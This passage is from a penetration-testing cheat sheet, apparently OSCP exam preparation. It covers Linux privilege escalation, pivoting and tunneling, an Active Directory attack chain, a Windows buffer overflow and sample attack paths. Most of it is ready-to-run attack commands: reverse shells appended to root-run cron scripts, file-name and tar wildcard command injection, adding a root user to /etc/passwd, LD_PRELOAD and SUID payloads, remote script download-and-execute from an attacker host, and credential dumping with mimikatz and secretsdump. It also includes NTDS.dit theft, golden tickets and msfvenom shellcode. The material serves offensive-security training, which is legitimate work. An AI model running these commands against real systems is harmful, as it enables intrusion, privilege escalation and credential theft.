netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" <user> /add
:: enable WinRM:  winrm quickconfig -q -force
```

---

10. Linux privilege escalation

Three roads to root: SUID/sudo → shell · write to a root-run script/cron · add a root user to `/etc/passwd`.

⚡ Quick wins (paste this first — one block)

```
id; sudo -l 2>/dev/null                                    # sudo rights → GTFOBins /
(ALL) ALL
ls -la /etc/passwd                                         # writable? → add a root
user
find / -writable -type d 2>/dev/null                       # insecure/writable dirs
cat /etc/crontab; ls -la /etc/cron*                        # cron jobs (writable
script?)
uname -r                                                   # kernel version → exploit
find / -perm -u=s -type f 2>/dev/null                      # SUID → GTFOBins
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null      # SUID+SGID
getcap -r / 2>/dev/null                                    # capabilities (+ep = abuse
→ GTFOBins)
id | grep -oE 'docker|lxd|disk|adm'                        # dangerous group? → group
escape
docker run -v /:/mnt --rm -it alpine chroot /mnt sh        # (only if in docker group)
cat /etc/exports 2>/dev/null                               # NFS: rw + no_root_squash
```

```
→ SUID root
env; cat ~/.bashrc; history; cat ~/.bash_history          # creds in env/shell
config/history
grep -rniE 'password|passwd|secret' /etc /opt /var/www 2>/dev/null | head
find / -name id_rsa -o -name authorized_keys 2>/dev/null  # SSH keys
watch -n 1 "ps -aux | grep -i pass"                       # creds passing through
processes
sudo tcpdump -i lo -A 2>/dev/null | grep -i pass          # sniff loopback for creds
(if sudo tcpdump)
grep -i CRON /var/log/syslog 2>/dev/null; ls -la /etc/update-motd.d/   # cron log +
writable MOTD
```

Nothing hit? → run `./linpeas.sh` + `./pspy64` (5 min) and work the full vectors below.

Enumeration

```
id ; whoami ; hostname ; sudo -l                        # context + sudo rights
cat /etc/passwd ; cat /etc/group                         # users (UID 0 = root; look
for /bin/bash homes)
uname -a ; cat /etc/issue ; cat /etc/os-release ; arch  # kernel/distro/arch (for
kernel exploits)
ps aux ; ps aux | grep root                              # processes (esp. root-owned)
ip a ; routel ; ss -anp                                  # interfaces / routes /
listeners (loopback svcs!)
cat /etc/iptables/rules.v4 2>/dev/null                   # firewall rules (often
world-readable)
dpkg -l  ;  rpm -qa                                      # installed packages +
versions
lsblk ; mount ; cat /etc/fstab                           # drives — check for
unmounted partitions
lsmod ; /sbin/modinfo <module>                           # loaded kernel modules →
driver exploits
find / -writable -type d 2>/dev/null                     # world-writable dirs
find / -path /proc -prune -o -type f -writable -ls 2>/dev/null
```

Automated (last resort): `./linpeas.sh` · `./lse.sh -l1` (linux-smart-enumeration) · `unix-privesc-check standard > out.txt` · `./linux-exploit-suggester.sh` · LinEnum.
Loopback-only service (`ss -anp` shows 127.0.0.1:PORT — Netdata 19999, DBs, admin panels) → SSH `-L` forward it to Kali → exploit its version (often the privesc).

Exposed / confidential info

```
# Env vars & shell config (creds sometimes exported here)
env ; cat ~/.bashrc ; cat ~/.profile
# History & key files
history ; cat ~/.bash_history ; cat ~/.mysql_history
grep -rnw '/' -ie "PASSWORD" --color 2>/dev/null
```

```
find / -name "id_rsa" -o -name "*.kdbx" 2>/dev/null ; cat ~/.ssh/id_rsa
ssh-keygen -lf id_rsa            # the key comment often reveals the owner
(user@host) → who to ssh as
#   chmod 600 id_rsa ; ssh -i id_rsa user@$IP
# Harvest creds from live root processes (refresh + filter):
watch -n 1 "ps -aux | grep pass"
# Sniff loopback traffic if you have sudo tcpdump:
sudo tcpdump -i lo -A | grep -i "pass"
```

Found a partial password? Build a targeted list and spray:

```
crunch 6 6 -t Lab%%% > wordlist          # e.g. known prefix + digits
hydra -l eve -P wordlist $IP ssh -V
```

Cron / writable-script abuse

```
cat /etc/crontab ; ls -la /etc/cron.* ; sudo crontab -l 2>/dev/null
grep "CRON" /var/log/syslog ; cat /var/log/cron.log 2>/dev/null   # see what actually
runs
ls -la <script>                          # root-run + world-writable? append a
reverse shell:
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '"$LHOST $LPORT"'
>/tmp/f' >> <script>
# Filename command injection (root job runs `cmd $file` over a dir you can write):
touch '/path/a; nc -e /bin/bash '"$LHOST $LPORT"'; b'
# Tar wildcard injection (cron runs `tar *`):
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
echo "" > "--checkpoint=1"; echo "" > "--checkpoint-action=exec=sh shell.sh"
```

/etc/passwd abuse (if world-writable)

```
openssl passwd w00t                      # generate a crypt hash (or: openssl passwd
-1 -salt x pass)
echo 'root2:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2                                 # → UID 0
```

SUID / SGID binaries

```
find / -perm -u=s -type f 2>/dev/null     # SUID   (-g=s for SGID)
# look each up on GTFOBins. Generic patterns:
# SUID find:  find /home -exec /bin/bash -p \;    (-p keeps euid=0)
# SUID cp → overwrite /etc/passwd or /etc/shadow ; SUID nmap/vim/etc → GTFOBins
```

Custom SUID root binary → PATH hijacking (when it calls a command by a RELATIVE name):

```
file ./RESET_PASSWD ; strings -a ./RESET_PASSWD | grep -iE
'system|exec|chpasswd|cp|service'
strace -f -e trace=execve ./RESET_PASSWD 2>&1 | grep exec    # see what it runs, with
what path
# if it runs e.g. system("chpasswd") (no /usr/sbin/ prefix) → hijack via PATH:
cd /tmp; echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >
chpasswd
chmod +x chpasswd; export PATH=/tmp:$PATH
./RESET_PASSWD ; /tmp/rootbash -p        # → euid=0
# (also: SUID binary loading a missing/writable .so → LD_LIBRARY_PATH / library
hijack)
```

Capabilities

```
/usr/sbin/getcap -r / 2>/dev/null         # look for cap_setuid / cap_dac_override /
cap_dac_read_search
# cap_setuid on perl/python/ruby/vim → root:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_dac_read_search (read ANY file) → e.g. tar reads /etc/shadow:
/usr/bin/tar czf /tmp/s.tar.gz /etc/shadow ; tar xf /tmp/s.tar.gz ; cat etc/shadow
```

Sudo abuse

```
sudo -l                                    # then GTFOBins each allowed binary:
sudo vim -c ':!/bin/sh' ; sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN{system("/bin/sh")}' ; sudo less /etc/profile   # !/bin/sh
sudo apt-get changelog apt                # then !/bin/sh
# sudo NOPASSWD custom script → abuse unsanitized input (e.g. ifcfg value with a
space runs as cmd).
# sudo custom APP (e.g. bee/CLI framework) → find an eval/exec/plugin/run
subcommand:
#   sudo /usr/local/bin/bee --root=/var/www/html eval "system('/bin/bash');"   (read
the app's --help/docs)
# If a GTFOBins payload is blocked, check AppArmor: aa-status (a profile may confine
that binary).
# CVE-2019-14287  (ALL, !root):   sudo -u#-1 /bin/bash              → root
# CVE-2023-22809  sudoedit + $EDITOR:  EDITOR="vim -- /etc/shadow" sudoedit
/etc/hosts
# CVE-2021-3156   Baron Samedit (sudo <1.9.5p2, no rights needed) → PoC blasty/CVE-
2021-3156
# env_keep+=LD_PRELOAD → malicious .so, run with any allowed sudo cmd:
#   gcc -fPIC -shared -nostartfiles -o /tmp/x.so x.c   (void _init()
{setresuid(0,0,0);system("/bin/bash -p");})
#   sudo LD_PRELOAD=/tmp/x.so <allowed-cmd>
```

```
# env_keep+=LD_LIBRARY_PATH → fake a lib ldd shows, sudo LD_LIBRARY_PATH=/tmp <cmd>
# env_keep+=PATH or !secure_path → PATH-hijack the sudo command
```

Kernel & other exploits

```
uname -r ; arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -
v " < 4.4.0"
# compile on/for the target (match arch); gcc usually present on target:
scp exploit.c joe@$IP: ; gcc exploit.c -o exp ; ./exp
./pspy64                                    # watch root-run processes/cron live
```

Recurring CVEs: PwnKit (CVE-2021-4034 polkit), Baron Samedit (CVE-2021-3156), DirtyPipe (CVE-2022-0847, kernel 5.8–5.16), Dirty COW, OverlayFS (CVE-2023-0386), nf_tables (CVE-2024-1086). `./les.sh` or `traitor -a` to auto-find. **Quick root once writable:** `cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash; /tmp/rootbash -p`.

Group memberships (`id`) → escapes

```
# docker group → mount host FS as root:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# docker socket exposed (no group): curl -s --unix-socket /var/run/docker.sock
http://localhost/images/json
# lxd group:
lxc image import alpine.tar.gz --alias x; lxc init x p -c security.privileged=true
lxc config device add p host disk source=/ path=/mnt/root recursive=true; lxc start
p; lxc exec p /bin/sh
# disk group → debugfs read raw disk (read /etc/shadow, /root)
```

More vectors (writable-thing → root)

```
# Shared-library injection into a SUID binary that loads a writable lib (ldd it):
#   evil.c: void __attribute__((constructor)) init(){ setuid(0); system("/bin/bash -
p"); }
#   gcc -shared -fPIC -o /writable/path/libX.so evil.c ; run the SUID binary
# MOTD: writable /etc/update-motd.d/* → runs as root on next SSH login → append
revshell/SUID cmd
# Python library hijack: root script imports a module + a writable dir is earlier in
sys.path → drop that module.py
# Writable systemd unit → ExecStart=<revshell> ; systemctl daemon-reload; restart
# Writable /etc/ld.so.conf.d/*.conf → add /tmp ; drop lib ; ldconfig
# rsync wildcard (root runs `rsync -a * dest`): echo '' > '-e sh shell.sh'
# Fail2Ban writable action.d/jail.local actionban=/tmp/shell.sh → trigger with
failed logins
```

```
# MySQL running as root + creds → UDF: CREATE FUNCTION sys_exec ... SONAME
'raptor_udf2.so'; SELECT sys_exec('id');
```

---

11. Pivoting & tunneling

Pick by: which host listens, direction (in vs out of the firewall), one socket vs many, and OS.

Socat (simple relay on a *nix pivot)

```
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432   # pivot listens :2345 →
forwards to DB :5432
#   then from Kali:  psql -h <pivot> -p 2345 -U postgres
```

SSH forwarding (the four modes)

```
# LOCAL (-L): listen on the SSH CLIENT, forward via SSH SERVER to one socket
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 user@$PIVOT     # Kali → pivot:4455 ==
target:445
# reach several loopback-only services (127.0.0.1:3306/19999/…) at once, background
it:
ssh -fN -L 3306:127.0.0.1:3306 -L 19999:127.0.0.1:19999 -L 8080:127.0.0.1:8080
user@$IP
# DYNAMIC (-D): SOCKS proxy on the SSH CLIENT → reach anything the server can
ssh -N -D 0.0.0.0:9999 user@$PIVOT                        # then proxychains
# REMOTE (-R): listen on the SSH SERVER (your Kali), forward via CLIENT — beats
inbound firewalls
#   run ON the pivot, connecting out to your Kali SSH server:
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@$LHOST     # Kali:2345 == DB:5432
# REMOTE DYNAMIC (-R <port>): SOCKS proxy on the SSH SERVER (Kali), forwarded by
client (OpenSSH ≥7.6)
ssh -N -R 9998 kali@$LHOST                                 # SOCKS on Kali:9998 →
proxychains
```

Give a dumb reverse shell a TTY first (`python3 -c 'import pty;pty.spawn("/bin/bash")'`), else the SSH password prompt won't take input. Confirm the bound port with `ss -ntplu`.

sshuttle (VPN-like, no proxychains)

```
sshuttle -r user@$PIVOT 10.4.50.0/24 172.16.50.0/24       # root on client + python3
on server
```

Ligolo-ng (modern go-to)

```
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601                    # attacker
./agent -connect $LHOST:11601 -ignore-cert               # pivot → session →
ifconfig
sudo ip route add 172.16.1.0/24 dev ligolo                # hit subnet directly (no
proxychains)
# Catch a reverse shell FROM a deep host back to Kali through the tunnel:
#   (ligolo console)  listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999
#   deep host runs:   nc64.exe <agent-pivot-IP> 9999 -e powershell   → hits your nc
-lvnp 9999 on Kali
```

proxychains (drive non-SOCKS tools through a SOCKS port)

```
# /etc/proxychains4.conf → last line:  socks5 127.0.0.1 9998   (or the pivot IP for
-D)
# speed: lower tcp_read_time_out / tcp_connect_time_out for port scans
proxychains -q nmap -sT -Pn --top-ports=20 172.16.50.217
proxychains -q smbclient -L //172.16.50.217/ -U user --password=pass
```

SSH itself has no `--socks`; use ProxyCommand + ncat:

```
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p'
user@10.4.50.215
```

Windows pivots

```
:: ssh.exe (bundled since Win10 1803; ≥7.6 → supports -R remote dynamic)
where ssh & ssh -V
ssh -N -R 9998 kali@LHOST                    :: same modes as *nix from a Windows box

:: plink (when OpenSSH removed; PuTTY's CLI — note: NO remote-dynamic)
cmd.exe /c echo y | plink.exe -ssh -l kali -pw <PW> -R 127.0.0.1:9833:127.0.0.1:3389
LHOST

:: netsh portproxy (native; needs admin) — listen on WAN, forward to internal
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=<winIP>
connectport=22 connectaddress=10.4.50.215
netsh interface portproxy show all
netsh advfirewall firewall add rule name="pf2222" protocol=TCP dir=in localport=2222
action=allow
:: CLEANUP:
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=<winIP>
netsh advfirewall firewall delete rule name="pf2222"
```

Chisel — HTTP tunnel (beats DPI that only allows HTTP)

```
# Kali (server): reverse mode → client connection binds a SOCKS port here
chisel server --port 8080 --reverse
# pivot (client): reverse SOCKS back to Kali (default SOCKS port 1080)
./chisel client $LHOST:8080 R:socks
#   or a single reverse port fwd:  ./chisel client $LHOST:8080
R:2345:10.4.50.215:5432
# then proxychains through 127.0.0.1:1080
```

Gotcha: a Chisel built with Go ≥1.20 needs newer glibc — on old targets use the official 1.19-built release binary from GitHub, or you'll get `GLIBC_2.3x not found`.

dnscat2 — DNS tunnel (beats DPI where only DNS resolves out)

```
# on your authoritative NS for the zone:
dnscat2-server feline.corp
# on the compromised host (client):
./dnscat feline.corp
# in the server console: window -i 1 → then a local-forward like ssh -L:
#   listen 127.0.0.1:4455 172.16.2.11:445
```

Slow + very noisy on the wire — last resort when nothing else egresses.

Stripped-shell network enum (no ip/netstat/arp)

```
hostname -I ; cat /var/lib/dhcp/dhclient.*.leases ; cat /proc/net/tcp ; cat
/proc/net/arp
for i in $(seq 1 254); do (ping -c1 -W1 172.16.1.$i >/dev/null && echo "172.16.1.$i
up" &); done
for i in $(seq 1 254); do nc -zv -w1 172.16.50.$i 445 2>&1 | grep -i succ; done   #
port sweep, no nmap
```

---

12. Active Directory — full attack chain

Exam-scoped, manual. Chain: **detect DC → enumerate → credential access → lateral → ACL/privesc → domain dominance.**

Detect a DC (port signature)

`53 domain · 88 kerberos · 135 msrpc · 139 netbios · 389 ldap · 445 smb · 464 kpasswd · 593 · 636 ldaps · 3268/3269 GC`. DNS+Kerberos+LDAP+SMB together ≈ DC.

```
# RootDSE → domain + hostname → /etc/hosts
sudo nmap -Pn --script ldap-rootdse $DC | grep -E 'dnsHostName|defaultNamingContext'
```

```
| sort -u
echo -e "$DC\t\t$DCHOST $DOMAIN" | sudo tee -a /etc/hosts
```

Enumerate

```
nxc smb $DC -u $USER -p $PASS --users --groups --pass-pol --shares
bloodhound-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c all --zip
# On-host collection from an Evil-WinRM shell (in-memory, no disk write of the tool):
#   iex(new-object net.webclient).downloadstring("http://$LHOST/SharpHound.ps1")
#   Invoke-BloodHound -CollectionMethod All -Domain $DOMAIN -LdapUser $USER -LdapPass
$PASS
# Exfil the resulting zip back to Kali (impacket-smbserver share . -smb2support -user
df -pass df):
#   net use \\$LHOST\share /u:df df ; copy *_BloodHound.zip \\$LHOST\share\ ; net use
/d \\$LHOST\share
# LDAP: see §4 (namingcontexts, user/group/computer queries, ASREP/Kerberoast
filters)
```

From a domain-joined Windows foothold (RDP — avoids the Kerberos double-hop):

```
# Built-in (net.exe) — quick low-hanging fruit
net user /domain ; net user jeffadmin /domain ; net group /domain ; net group "Domain
Admins" /domain
net accounts                    # LOCKOUT POLICY before any spray! (threshold /
observation window)
setspn -L iis_service           # SPNs on a user (Kerberoast targets)
# PowerView (Import-Module .\PowerView.ps1)
Get-NetDomain ; Get-NetUser | select cn,pwdlastset,lastlogon ; Get-NetGroup "Sales
Department" | select member
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
Get-NetUser -SPN | select samaccountname,serviceprincipalname          # SPN accounts
Find-LocalAdminAccess           # where does my user have local admin?
Get-NetSession -ComputerName files04 ; .\PsLoggedon.exe \\files04      # who is
logged on where (session hunting)
Get-DomainUser -PreauthNotRequired | select samaccountname            # AS-REP
roastable
# ACL enum → find abusable edges
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq
"GenericAll"} | select SecurityIdentifier
Convert-SidToName S-1-5-21-...-1104       # resolve a SID to a name
Find-DomainShare -CheckShareAccess        # readable shares (SYSVOL/Replication →
Groups.xml, loot)
```

Manual LDAP without RSAT (mimics PowerView internals): `[adsi]` + `System.DirectoryServices.DirectorySearcher` with `$s.filter="samAccountType=805306368"` (users) / `"(objectClass=group)"`. Watch for **nested groups** — `net.exe` misses group-in-group members that LDAP/PowerView show.

Credential access

```
# AS-REP roast (no pre-auth)
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat
hashcat -m 18200 asrep.hash rockyou.txt
# Kerberoast (any valid cred; -save writes the .kirbi too)
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -save -outputfile
kerb.hash
hashcat -m 13100 kerb.hash rockyou.txt
# GPP passwords — Groups.xml in SYSVOL/Replication has a cpassword field.
#   MS AES-encrypts it but published the key → always decryptable (pre-2014 GPPs).
#   Find Groups.xml via a readable share (smbmap -H $IP -R Replication), then:
gpp-decrypt
'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglV
mQ'
nxc smb $DC -u $USER -p $PASS -M gpp_password    # auto-loot GPP creds
nxc smb $DC -u $USER -p $PASS -M gpp_autologin
# Password spray (respect lockout!)
nxc smb $DC -u users.txt -p 'Season2025!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Season2025!'
# Spray dumped NTLM HASHES across multiple internal hosts (find where each hash is
admin):
nxc winrm 10.10.1.140 10.10.1.142 -u users.txt -H hashes.txt --continue-on-success -t
100
nxc winrm 10.10.1.142 -u users.txt -p pass.txt --local-auth --continue-on-success   #
LOCAL accounts (non-domain), e.g. local Administrator
nxc smb   10.10.1.0/24 -u users.txt -H hashes.txt --continue-on-success   # look for
(Pwn3d!)
# LLMNR/NBT-NS poisoning (on the LAN)
sudo responder -I tun0
hashcat -m 5600 ntlmv2.hash rockyou.txt
# Relay the captured NetNTLMv2 instead of cracking (target must not require SMB
signing):
impacket-ntlmrelayx --no-http-server -smb2support -t $IP -c "powershell -enc <b64>"
# SSP injection (persistence/cleartext capture on a DC you own) — logs plaintext on
next logon:
#   mimikatz: privilege::debug ; misc::memssp  → read
C:\Windows\System32\mimilsa.log
```

From Windows (Rubeus + spray + Mimikatz):

```
.\Rubeus.exe asreproast /nowrap                          # AS-REP roast (auto-finds
vuln users)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast       # Kerberoast all SPN users
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin             # built-in spray (respects
nothing — check net accounts!)
.\kerbrute_windows_amd64.exe passwordspray -d $DOMAIN users.txt "Nexus123!"
# Dump cached creds/tickets (local admin + SeDebug needed):
```

```
.\mimikatz.exe
  privilege::debug
  sekurlsa::logonpasswords          # NTLM/SHA1 (+ cleartext if WDigest on) for all
logged-on users
  sekurlsa::tickets /export         # dump TGT/TGS to .kirbi files
  lsadump::lsa /patch               # dump SAM/krbtgt from a DC
```

Hashcat modes: **18200** AS-REP · **13100** TGS (Kerberoast) · **5600** NetNTLMv2 · **1000** NTLM. Targeted roasting: with GenericWrite/GenericAll on a user, set an SPN (→ Kerberoast) or clear pre-auth (→ AS-REP roast), then revert.

Lateral movement

```
evil-winrm -i $DC -u $USER -p $PASS -S               # -S if 5986/SSL; upload bug:
`cd` to target dir first, then `upload src.exe destname.exe` (bare filename)
evil-winrm -i $DC -u $USER -H $NTHASH                 # pass-the-hash
# cert-based WinRM (no password): evil-winrm -i $DC -c cert.pem -k key.pem -S   (see
§6 for extracting)
impacket-psexec  $DOMAIN/$USER:$PASS@$DC              # SYSTEM (needs admin)
impacket-wmiexec $DOMAIN/$USER:$PASS@$DC              # quieter
impacket-psexec  $DOMAIN/administrator@$DC -hashes :$NTHASH
runas /netonly /user:$DOMAIN\\$USER powershell        # from a Windows foothold
```

Windows-native lateral movement (domain user in local Administrators / Remote Mgmt Users):

```
# WMI (RPC 135) — Invoke-CimMethod
$o=New-CimSessionOption -Protocol DCOM; $s=New-Cimsession -ComputerName $IP -
Credential $cred -SessionOption $o
Invoke-CimMethod -CimSession $s -ClassName Win32_Process -MethodName Create -
Arguments @{CommandLine="calc"}
# WinRS / PowerShell Remoting (WinRM 5985/5986)
winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
New-PSSession -ComputerName $IP -Credential $cred ; Enter-PSSession 1
# PsExec (needs local admin + ADMIN$ + File/Printer sharing)
.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
# DCOM (MMC20.Application) — RPC 135
$d=
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","$IP"))
$d.Document.ActiveView.ExecuteShellCommand("powershell",$null,"<b64 revshell>","7")
```

Pass-the-hash / Overpass / Pass-the-ticket:

```
# PtH (NTLM auth only): wmiexec/psexec -hashes  (Kali) or evil-winrm -H (above)
impacket-wmiexec -hashes :$NTHASH administrator@$IP
```

```
# Overpass-the-hash: NTLM hash → Kerberos TGT (Mimikatz), then use Kerberos-only
tools (PsExec by hostname)
sekurlsa::pth /user:jen /domain:$DOMAIN /ntlm:<hash> /run:powershell
#   in the new shell: net use \\files04  → TGT/TGS minted → .\PsExec.exe \\files04
cmd
# Pass-the-ticket: reuse another user's TGS
sekurlsa::tickets /export        # → pick dave@cifs-web04.kirbi
kerberos::ptt [0;xxxx]-0-0-...-dave@cifs-web04.kirbi ; klist ; ls \\web04\backup
```

ACL abuse (BloodHound shows the edge)

```
# ForceChangePassword
net rpc password "target" "NewP@ss1" -U "$DOMAIN/$USER%$PASS" -S $DC
bloodyAD --host $DC -d $DOMAIN -u $USER -p $PASS set password target 'NewP@ss1'
# GenericAll on group → add self
net rpc group addmem "Target Group" "$USER" -U "$DOMAIN/$USER%$PASS" -S $DC
net group "Exchange Windows Permissions" $USER /add /domain     # from a Windows
shell
# GenericWrite on user → targeted Kerberoast
targetedKerberoast.py -d $DOMAIN -u $USER -p $PASS
# WriteDACL on domain → grant DCSync
impacket-dacledit -action write -rights DCSync -principal $USER -target-dn "$BASE"
$DOMAIN/$USER:$PASS
# PowerView equivalent (from an Evil-WinRM shell) — add self to a WriteDacl group,
then grant DCSync:
#   Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members $USER
#   $p=ConvertTo-SecureString 's3rvice' -AsPlainText -Force
#   $c=New-Object System.Management.Automation.PSCredential("$DOMAIN\$USER",$p)
#   Add-DomainObjectAcl -Credential $c -PrincipalIdentity $USER -TargetIdentity
'Domain Admins' -Rights DCSync
# Automate the whole ACL path:
aclpwn -f $USER -t $DOMAIN --domain $DOMAIN --server $DC
```

> Watch for cleanup scripts: some boxes run a scheduled task that resets passwords / strips group membership every ~60s (`schtasks /query /fo LIST /v`). Chain add-to-group → grant-DCSync → dump **fast**, in one go.

Delegation

```
impacket-getST -spn cifs/$DCHOST -impersonate administrator $DOMAIN/$USER:$PASS -dc-
ip $DC   # constrained S4U
impacket-rbcd -delegate-from EVIL$ -delegate-to TARGET$ -action write
$DOMAIN/$USER:$PASS     # RBCD
export KRB5CCNAME=administrator.ccache; impacket-psexec -k -no-pass $DCHOST
```

ADCS (certificate abuse)

```
certipy-ad find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -vulnerable -stdout
certipy-ad req  -u $USER@$DOMAIN -p $PASS -ca <CA> -template <VULN> -upn
administrator@$DOMAIN
certipy-ad auth -pfx administrator.pfx -dc-ip $DC        # → TGT + NT hash
```

LAPS (member of a *_Readers group)

```
Get-ADComputer -Identity "DC01" -Properties ms-mcs-admpwd | select -ExpandProperty
ms-mcs-admpwd
```

```
nxc ldap $DC -u $USER -p $PASS -M laps                   # read from Kali
evil-winrm -i $IP -u Administrator -p '<LAPS_PW>' -S      # logs in as local admin
```

Domain dominance

```
# DCSync once you have the rights (only needs 445 + 135 + an RPC 49xxx port):
impacket-secretsdump $DOMAIN/$USER:$PASS@$DC              # dumps NTDS via DRSUAPI
impacket-secretsdump -just-dc $DOMAIN/$USER:$PASS@$DC     # hashes only
impacket-secretsdump -just-dc-user dave $DOMAIN/$USER:$PASS@$DC
impacket-secretsdump administrator@$DC -hashes :$NTHASH -just-dc
# Then use the Administrator NT hash (PtH) for a shell:
impacket-wmiexec -hashes :$NTHASH $DOMAIN/administrator@$DC
evil-winrm -i $DC -u administrator -H $NTHASH
```

```
# DCSync from Windows (Mimikatz):  lsadump::dcsync /user:corp\Administrator
# Silver ticket (forge a TGS with an SPN's NTLM hash — no DC contact; needs SPN hash
+ domain SID):
#   kerberos::golden /sid:<domSID> /domain:corp.com /target:web04.corp.com
/service:http /rc4:<spn-ntlm> /user:jeffadmin /ptt
# Golden ticket (persistence — needs krbtgt hash + domain SID; forge any-user TGT):
#   lsadump::lsa /patch  → krbtgt NTLM ; then on any host:
#   kerberos::golden /user:jen /domain:corp.com /sid:<domSID> /krbtgt:<krbtgt-ntlm>
/ptt  → PsExec \\dc1 cmd
impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $SID -domain $DOMAIN administrator
# golden (Linux)
# Cross-domain (child→parent forest root) — add parent SID via -extra-sid for full-
forest DA:
#   nltest /domain_trusts /v   → get child + parent domain SIDs
#   secretsdump child → child krbtgt hash
#   impacket-ticketer -nthash <child-krbtgt> -domain child.forest.tld -domain-sid
<CHILD-SID> \
#     -extra-sid <PARENT-SID>-519 Administrator
#   export KRB5CCNAME=Administrator.ccache ; impacket-psexec
```

```
child.forest.tld/Administrator@DC01.forest.tld -k -no-pass
# Persistence: SSP injection captures plaintext at every logon → mimikatz
misc::memssp ; read C:\Windows\System32\mimilsa.log
```

```
:: Steal NTDS.dit via Volume Shadow Copy (on a DC, as DA) → dump every domain hash
offline
vshadow.exe -nw -p C:                                    :: note the shadow device
name
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit
c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak
:: on Kali:  impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
```

Domain-joined Linux (rare, high-value)

```
/usr/sbin/realm list -a ; /usr/sbin/adcli info $DOMAIN     # am I on a domain?
find /var/log -type f -readable -exec grep -ail "$DOMAIN" {} \; 2>/dev/null   #
usernames in logs
getent passwd <duser> ; getent group 'Domain Admins@'"$DOMAIN"
# root on host → dump SSSD cache (offline domain creds)
strings /var/lib/sss/db/cache_$DOMAIN.ldb | grep -iE 'user' | sort -u
# also: /var/lib/sss/db/cache_$DOMAIN.tdb → tdbdump
```

> **Golden rule:** the AD set is one connected environment — creds/hashes from one host unlock the next. Re-run BloodHound after every new credential.

---

13. Windows Buffer Overflow

Classic stack BOF against a vulnerable TCP service.

```
1. Fuzz until crash
2. Offset:   msf-pattern_create -l 3000 ; msf-pattern_offset -l 3000 -q <EIP>
3. Confirm EIP control ('A'*offset + 'B'*4 → EIP=42424242)
4. Bad chars: !mona bytearray -b "\x00" ; send \x01..\xff ; !mona compare -f
bytearray.bin -a <ESP>
5. JMP ESP:  !mona jmp -r esp -cpb "\x00\x0a"   (module with no ASLR, no bad chars)
6. Shellcode: msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f py -
b "\x00\x0a" EXITFUNC=thread
payload = 'A'*offset + JMP_ESP(LE) + '\x90'*16 + shellcode
```

---

14. Recurring patterns & "which attack?" map

Cracked-file → cert → LAPS chain (Timelapse-style):

```
.zip(pw) → zip2john → pw → .pfx(pw) → pfx2john (CN/UPN leaks) → openssl →
cert+key
  → evil-winrm -c -k -S (userA) → PS history (userB creds) → userB ∈ LAPS_Readers
  → Get-ADComputer ms-mcs-admpwd → local admin → evil-winrm Administrator → DC
```

Multi-host lsassy → DB → Potato chain (Secura-style):

```
HOST1 (local admin via given creds) → nxc -M lsassy → cleartext cred for HOST2
HOST2 (evil-winrm) → XAMPP MariaDB as SYSTEM → mysqldump --all-databases → creds DB
  → local admin + a DOMAIN user's creds
DC (evil-winrm as that domain user) → SeImpersonate → PrintSpoofer -c rev.exe →
SYSTEM
```

Exam AD set — Potato → lsassy → Ligolo → hash-spray chain (OSCP-A style):

```
MS01 (evil-winrm, given creds) → SeImpersonate → PrintSpoofer -c "nc64 LHOST 4444 -e
powershell" → SYSTEM
  → nxc -M lsassy → NTLM hashes (userA, userB)
  → Ligolo agent → route internal /24 → reach MS02 + DC01
MS02 → nxc winrm -H (hash-spray) → userA is Pwn3d! → evil-winrm -H
  → download SAM+SYSTEM (often C:\windows.old\...) → secretsdump LOCAL → tom_admin
hash
DC01 → evil-winrm -i DC -u tom_admin -H <hash> → proof.txt
```

Common **MS02 variant**: from the pivot, Kerberoast (`impacket-GetUserSPNs -request`) → crack `sql_svc` → `impacket-mssqlclient -windows-auth` → `xp_cmdshell` → PrintSpoofer → SYSTEM → `mimikatz sekurlsa::logonpasswords` → Administrator hash → PtH to DC. (Catch the deep reverse shell with Ligolo `listener_add`.)
